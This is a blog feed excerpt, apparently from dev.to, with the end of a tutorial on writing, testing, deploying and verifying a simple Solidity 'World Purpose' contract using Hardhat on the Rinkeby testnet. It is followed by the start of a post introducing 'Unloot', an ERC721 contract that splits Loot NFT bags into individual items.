&lt;li&gt;  Track the “purpose” of the contract in a struct&lt;/li&gt;
&lt;li&gt;  You can change the purpose only if you pay more than the previous owner&lt;/li&gt;
&lt;li&gt;  You cannot change the purpose if you are already the owner&lt;/li&gt;
&lt;li&gt;  You can withdraw your ETH only if you are not the current purpose’s owner&lt;/li&gt;
&lt;li&gt;  Emit a PurposeChange event when the purpose has changed&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Concepts you should master
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://docs.soliditylang.org/en/v0.8.7/types.html" rel="noopener noreferrer"&gt;Variable Types&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://docs.soliditylang.org/en/v0.8.7/types.html#mapping-types" rel="noopener noreferrer"&gt;Mapping&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://docs.soliditylang.org/en/v0.8.7/types.html#structs" rel="noopener noreferrer"&gt;Structs&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://docs.soliditylang.org/en/v0.8.7/structure-of-a-contract.html?highlight=function#functions" rel="noopener noreferrer"&gt;Functions&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://docs.soliditylang.org/en/v0.8.7/structure-of-a-contract.html?highlight=function#functions" rel="noopener noreferrer"&gt;Events&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://solidity-by-example.org/payable/" rel="noopener noreferrer"&gt;Payable functions&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Smart Contract Code
&lt;/h3&gt;

&lt;p&gt;Let’s start by creating a Struct to store the Purpose information&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/// [@notice](http://twitter.com/notice "Twitter profile for @notice") Purpose struct  
struct Purpose {  
    address owner;  
    string purpose;  
    uint256 investment;  
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Let’s now define some state variables to track both the current Purpose and user’s investment&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;/// @notice Track user investments&lt;/span&gt;
&lt;span class="nf"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;/// @notice Track the current world purpose&lt;/span&gt;
&lt;span class="nx"&gt;Purpose&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;purpose&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Last but not least define an Event that will be emitted when a new World Purpose has been set&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;/// @notice Event to track new Purpose&lt;/span&gt;
&lt;span class="nx"&gt;event&lt;/span&gt; &lt;span class="nc"&gt;PurposeChange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt; &lt;span class="nx"&gt;indexed&lt;/span&gt; &lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="nx"&gt;purpose&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="nx"&gt;investment&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Let’s create some utility functions to get the current &lt;code&gt;purpose&lt;/code&gt; and the user’s balance that is still in the contract. We need to do that because &lt;code&gt;balances&lt;/code&gt; and &lt;code&gt;purpose&lt;/code&gt; variables are &lt;code&gt;private&lt;/code&gt; so they cannot be accessed directly from external contract/web3 apps. We need to expose them via these functions&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="cm"&gt;/**
 @notice Getter for the current purpose
 @return currentPurpose The current active World purpose
*/&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getCurrentPurpose&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nf"&gt;returns &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Purpose&lt;/span&gt; &lt;span class="nx"&gt;memory&lt;/span&gt; &lt;span class="nx"&gt;currentPurpose&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;purpose&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="cm"&gt;/**
 @notice Get the total amount of investment you have made. It returns both the locked and unloacked investment.
 @return balance The balance you still have in the contract
*/&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getBalance&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nf"&gt;returns &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="nx"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now let’s create the &lt;code&gt;setPurpose&lt;/code&gt; function. It takes one parameter as input: &lt;code&gt;_purpose&lt;/code&gt; . The function must be &lt;code&gt;payable&lt;/code&gt; because we want to accept some Ether in order to set the purpose (those ethers will be withdrawable by the owner the purpose has been overridden by someone else).&lt;/p&gt;

&lt;p&gt;The transaction will &lt;code&gt;revert&lt;/code&gt; if some conditions are not met:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;code&gt;_purpose&lt;/code&gt; input parameter is empty&lt;/li&gt;
&lt;li&gt;  the &lt;code&gt;msg.value&lt;/code&gt; (amount of ether sent with the transaction) is empty (0 ethers)&lt;/li&gt;
&lt;li&gt;  the &lt;code&gt;msg.value&lt;/code&gt; is less than the current purpose&lt;/li&gt;
&lt;li&gt;  the current world purpose owner tries to override his purpose (&lt;code&gt;msg.sender&lt;/code&gt; must be different from the current owner)&lt;/li&gt;
&lt;/ul&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;



&lt;p&gt;If everything works we set the new purpose, update the balance and emit the event.&lt;/p&gt;

&lt;p&gt;Now we want to allow users to withdraw their investment from previous purposes. Please note that only the current purpose’s investment is “locked”. It will be unlocked only when a new person will set the new purpose.&lt;/p&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;


&lt;p&gt;Deploy it locally just to test that everything works as expected. You should see something like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1600%2F1%2AfJosmmEHgBQ3Qlii0KsdwA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1600%2F1%2AfJosmmEHgBQ3Qlii0KsdwA.png" alt="Deploy on local hardhat network"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Contract deployment on local blockchain successful&lt;/p&gt;

&lt;h3&gt;
  
  
  Add local Test
&lt;/h3&gt;

&lt;p&gt;Now I will not go into detail about the code inside the testing file but I’ll explain the concept behind it. You should always create test cases for your contract. It’s a fast way to understand if the contact’s logic is working as expected and allows you to prevent deploying something that it’s not working.&lt;/p&gt;

&lt;p&gt;My current workflow is like this: I take every function and I test that they do what I expect them to do in both success cases and revert cases. Nothing more, nothing less.&lt;/p&gt;

&lt;p&gt;When you write tests for Solidity contracts you are going to use &lt;a href="https://getwaffle.io/" rel="noopener noreferrer"&gt;&lt;strong&gt;Waffle&lt;/strong&gt;&lt;/a&gt;. Head over to their website to have an overview of the library, it’s really well made and offers a lot of utilities.&lt;/p&gt;

&lt;p&gt;Now, delete the file you have in your &lt;code&gt;test&lt;/code&gt; folder, create a new one called &lt;code&gt;worldpurpose.ts&lt;/code&gt; and replace the content with this&lt;/p&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;


&lt;p&gt;Execute your tests with &lt;code&gt;yarn test&lt;/code&gt; and see if everything pass as expected&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1600%2F1%2AStnzBuyj7tM9QUxpmitwvg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1600%2F1%2AStnzBuyj7tM9QUxpmitwvg.png" alt="Run tests locally"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tests execution&lt;/p&gt;

&lt;h2&gt;
  
  
  Deploy your contract on test net
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;===== HUGE DISCLAIMER START =====&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;DO NOT USE YOUR MAIN WALLET PRIVATE FOR TESTING PURPOSES&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;USE A BURNER WALLET OR CREATE A NEW WALLET&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;===== HUGE DISCLAIMER END =====&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We have already seen how to deploy the contract in our local hardhat chain but now we want to do it for the Rinkeby test net (the procedure is the same one for the main net but it’s not the scope of the tutorial).&lt;/p&gt;

&lt;p&gt;To deploy on the local chain we just need to type on console this command&lt;/p&gt;

&lt;p&gt;&lt;code&gt;npx hardhat run --network localhost scripts/deploy.ts&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To deploy your contracts on another network we just need to change the parameter value of &lt;code&gt;--network&lt;/code&gt; but before doing that need to do some preparation step.&lt;/p&gt;

&lt;h3&gt;
  
  
  Get some ETH from testnet Faucet
&lt;/h3&gt;

&lt;p&gt;Deploying a contact cost &lt;code&gt;gas&lt;/code&gt; so we need some from a Faucet. Choose one test network and head over to the faucet to get funds.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://faucet.kovan.network/" rel="noopener noreferrer"&gt;Kovan faucet&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://faucet.rinkeby.io/" rel="noopener noreferrer"&gt;Rinkeby faucet&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://goerli-faucet.slock.it/" rel="noopener noreferrer"&gt;Goerli faucet&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In our case, we decided to use &lt;strong&gt;Rinkeby&lt;/strong&gt; so go and get some funds over there.&lt;/p&gt;

&lt;h3&gt;
  
  
  Choose an Ethereum Provider
&lt;/h3&gt;

&lt;p&gt;In order to deploy our contract, we need a way to interact directly with the Ethereum network. Nowadays we have two possible options:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://infura.io/" rel="noopener noreferrer"&gt;Infura&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://www.alchemy.com/" rel="noopener noreferrer"&gt;Alchemy&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In our case, we are going to use Alchemy, so go over there, create an account, create a new app and grab the Rinkeby API Key.&lt;/p&gt;

&lt;h3&gt;
  
  
  Update the Hardhat Config file
&lt;/h3&gt;

&lt;p&gt;Install the &lt;code&gt;dotenv&lt;/code&gt; dependencies, this nodejs library allow us to create a &lt;code&gt;.env&lt;/code&gt; environment file to store our variables without exposing them to the source code.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;yarn add --dev dotenv&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now create in the root of your project a &lt;code&gt;.env&lt;/code&gt; file and paste all the information you have collected&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RENKEBY_URL=https://eth-rinkeby.alchemyapi.io/v2/&amp;lt;YOUR_ALCHEMY_APP_ID&amp;gt;
PRIVATE_KEY=&amp;lt;YOUR_BURNER_WALLET_PRIVATE_KEY&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;I can’t stress enough. Don’t use your main wallet private case for testing purposes. Create a separate wallet or use a burning wallet to do this type of testing!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The last step is to update the &lt;code&gt;hardhat.config.ts&lt;/code&gt; file to add &lt;code&gt;dotenv&lt;/code&gt; and update the rinkeby information.&lt;/p&gt;

&lt;p&gt;At the top of the file add &lt;code&gt;require("dotenv").config();&lt;/code&gt; and now update the config like this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;HardhatUserConfig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;solidity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0.8.4&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;networks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;rinkeby&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;RENKEBY_URL&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;accounts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PRIVATE_KEY&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PRIVATE_KEY&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Are we ready? Let’s deploy it!&lt;/p&gt;

&lt;p&gt;&lt;code&gt;npx hardhat run --network rinkeby scripts/deploy.ts&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If everything goes well you should see something like this in your console&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1600%2F1%2AEmsX8noYLWA9anxERpz1dA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1600%2F1%2AEmsX8noYLWA9anxERpz1dA.png" alt="Deploy on Rinkeby"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you copy that contract address and past it on Etherscan Rinkeby you should be able to see it live! Mine is located here: &lt;a href="https://rinkeby.etherscan.io/address/0xAf688A3405531e0FC274F6453cD8d3f3dB07D706" rel="noopener noreferrer"&gt;0xAf688A3405531e0FC274F6453cD8d3f3dB07D706&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Get your contract verified by Etherscan
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Source code verification provides &lt;strong&gt;transparency&lt;/strong&gt; for users interacting with smart contracts. By uploading the source code, Etherscan will match the compiled code with that on the blockchain. Just like contracts, a “smart contract” should provide end users with more information on what they are “digitally signing” for and give users an opportunity to audit the code to independently verify that it actually does what it is supposed to do.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So let’s do it. It’s really an easy step because Hardhat provide a specific Plugin to do that: &lt;a href="https://hardhat.org/plugins/nomiclabs-hardhat-etherscan.html" rel="noopener noreferrer"&gt;hardhat-etherscan&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Let’s install &lt;code&gt;yarn add --dev @nomiclabs/hardhat-etherscan&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;and include it in your &lt;code&gt;hardhat.config.ts&lt;/code&gt; adding &lt;code&gt;import "@nomiclabs/hardhat-etherscan";&lt;/code&gt; at the end of your imports.&lt;/p&gt;

&lt;p&gt;The next step is to register an account on Etherscan and &lt;a href="https://etherscan.io/myapikey" rel="noopener noreferrer"&gt;generate an API Key&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Once you have it we need to update our &lt;code&gt;.env&lt;/code&gt; file adding this line of code&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ETHERSCAN_API_KEY=&amp;lt;PAST_YOU_API_KEY&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and update the &lt;code&gt;hardhat.config.ts&lt;/code&gt; adding the Etherscan config needed by the plugin.&lt;/p&gt;

&lt;p&gt;The last thing to do is to run the &lt;code&gt;verify&lt;/code&gt; task that has been added by the plugin:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;npx hardhat verify --network rinkeby &amp;lt;YOUR_CONTRACT_ADDRESS&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The plugin have a lot of configurations and different options so check out their documentation if you want to know more.&lt;/p&gt;

&lt;p&gt;If everything goes well you should see something like this in your console&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2400%2F1%2AYO7jpoi2X8sC_uoV8Hye0A.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2400%2F1%2AYO7jpoi2X8sC_uoV8Hye0A.png" alt="Contract verified by Etherscan"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Contract verified by Etherscsan&lt;/p&gt;

&lt;p&gt;If you go over the Etherscan contract page again you should see a green checkmark on top of the Contract section. Well done!&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion and next steps
&lt;/h2&gt;

&lt;p&gt;If you want to use this &lt;code&gt;solidity-template&lt;/code&gt; to kickstart you next smart contract project just head over to the GitHub repo &lt;a href="https://github.com/StErMi/solidity-template" rel="noopener noreferrer"&gt;https://github.com/StErMi/solidity-template&lt;/a&gt; and it the “Use this template” green button and boom, you are ready to go!&lt;/p&gt;

&lt;p&gt;This is just the start, I’m planning to add more features in time like for example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Support to eslint for the typescript testing lib&lt;/li&gt;
&lt;li&gt;  Support for &lt;a href="https://hardhat.org/plugins/hardhat-deploy.html" rel="noopener noreferrer"&gt;hardhat-deploy&lt;/a&gt;, an Hardhat Plugin to better manage deployment&lt;/li&gt;
&lt;li&gt;  Add support to &lt;a href="https://hardhat.org/plugins/solidity-coverage.html" rel="noopener noreferrer"&gt;solidity-coverage&lt;/a&gt; plugin&lt;/li&gt;
&lt;li&gt;  Add support to &lt;a href="https://hardhat.org/plugins/hardhat-gas-reporter.html" rel="noopener noreferrer"&gt;hardhat-gas-reporter plugin&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  TBD&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Do you have any feedback or do you want to contribute to the Solidity Template? Just create a Pull Request on the GitHub page and let’s discuss it!&lt;/p&gt;

&lt;h2&gt;
  
  
  Did you like this content? Follow me for more!
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  GitHub: &lt;a href="https://github.com/StErMi" rel="noopener noreferrer"&gt;https://github.com/StErMi&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  Twitter: &lt;a href="https://twitter.com/StErMi" rel="noopener noreferrer"&gt;https://twitter.com/StErMi&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  Medium: &lt;a href="https://medium.com/@stermi" rel="noopener noreferrer"&gt;https://medium.com/@stermi&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  Dev.to: &lt;a href="https://dev.to/stermi"&gt;https://dev.to/stermi&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ethereum</category>
      <category>solidity</category>
      <category>web3</category>
      <category>hardhat</category>
    </item>
    <item>
      <title>Unloot the Loot Project: my very first Solidity smart contract deployed on Ethereum</title>
      <dc:creator>Emanuele Ricci</dc:creator>
      <pubDate>Tue, 14 Sep 2021 16:12:02 +0000</pubDate>
      <link>https://forem.com/stermi/unloot-the-loot-project-my-very-first-solidity-smart-contract-deployed-on-ethereum-1g2b</link>
      <guid>https://forem.com/stermi/unloot-the-loot-project-my-very-first-solidity-smart-contract-deployed-on-ethereum-1g2b</guid>
      <description>&lt;p&gt;Before digging into why I’ve created Unloot I need to explain a little bit the Loot Project. So bear with me.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Inspiration: The Loot Project
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--IKPSk-7g--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://miro.medium.com/max/700/1%2ACtUqPGcm3yqsMQAjBDMgiQ.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--IKPSk-7g--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://miro.medium.com/max/700/1%2ACtUqPGcm3yqsMQAjBDMgiQ.png" alt="Loot project floor price on Open Sea"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I think that at this moment everyone knows what the  &lt;a href="https://www.lootproject.com/"&gt;Loot Project&lt;/a&gt;  is, right? If you still don’t know I will quote directly from their site for a TLDR;&lt;/p&gt;

&lt;p&gt;Loot is randomized adventurer gear generated and stored on-chain. It’s a project created by  &lt;a href="https://twitter.com/dhof/status/1431316631934967815"&gt;Dom Hofmann&lt;/a&gt;. The initial total supply is 8,000 unique bags of adventurer gear. In each bag, you will find 8 items: chest, foot, hand, head, neck, ring, waist, and weapon.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why is loot so unique?&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Loot is unique — the first project of its kind. With no company, art, team, or attributes, Loot makes it impossible to gate-keep any creative decisions (h/t  &lt;a href="https://twitter.com/john_c_palmer/status/1432606797186179072?s=20"&gt;@john_c_palmer&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Loot is the unfiltered, uncensorable building block for stories, experiences, games, and more, in the hands of the community, at no cost. Loot pursues complete decentralization from day one.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;At  this specific moment, on OpenSea the Loot Project floor price is almost 6 ETH. What does it mean? That if you want to buy the lowest-priced bag it will cost you (with the current ETH-USD conversion) almost  &lt;strong&gt;$20k&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It’s not a cheap start, right?&lt;/p&gt;

&lt;h2&gt;
  
  
  The Idea
&lt;/h2&gt;

&lt;p&gt;I’m fairly new to the web3 world but I’m the kind of person that enjoys learning new things, experiment, build and release.&lt;/p&gt;

&lt;p&gt;On Sunday, during a walk, I was thinking about this interesting project and how the current  &lt;a href="https://opensea.io/collection/lootproject"&gt;&lt;strong&gt;floor price&lt;/strong&gt;  on Open Sea&lt;/a&gt;  was ruining what could have been an amazing concept to kickstart a whole new kind of project inside the blockchain.&lt;/p&gt;

&lt;p&gt;I wanted to allow everyone to play with the Loot Project items but in order to do that people (poor like me :D) should be able to afford to buy at least a basic set of items or at least have the choice to pick whatever items they need to create their adventurer’s equipment.&lt;/p&gt;

&lt;p&gt;That’s why while walking I started thinking about a solution and what I could build. The cool thing is that everything is new in web3/solidity and you need a different mental approach to solve issues compared to the “old” mental scheme of web2.&lt;/p&gt;

&lt;p&gt;I wanted to create a PoC (proof of concept) in a couple of hours and release an MVP (minimum viable product) without bugs and issues in a couple more.&lt;/p&gt;

&lt;p&gt;I got too excited, the idea to create something from scratch, on top of an existing project, on the most bleeding-edge technology at this very moment was too much. I rushed home and started developing…&lt;/p&gt;

&lt;h2&gt;
  
  
  The Unloot Project
&lt;/h2&gt;

&lt;p&gt;The Unloot project is based on a very simple idea (as I explained before): allow people to afford items to build their equipment set with a low investment.&lt;/p&gt;

&lt;p&gt;The smart contract is an ERC721 contract that implements two main functions&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Unpack function&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;You pass the  &lt;strong&gt;tokenId&lt;/strong&gt;  of your current Loot bag and it will unpack the items contained into your Loot NFT creating  &lt;strong&gt;eight&lt;/strong&gt;  different Unloot items. Each Unloot NFT is bound to both the original bag and the type of item it represents from the bag.&lt;/p&gt;

&lt;p&gt;So for example you own the Loot Bag #3 and you want to unpack it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--A96MGPKb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://miro.medium.com/max/616/1%2A8unPDWdzpq-GqK6zZVNeIw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--A96MGPKb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://miro.medium.com/max/616/1%2A8unPDWdzpq-GqK6zZVNeIw.png" alt="Loot Bag NFT"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The result of the operation would be that you will own eight different Unloot NFT&lt;/p&gt;

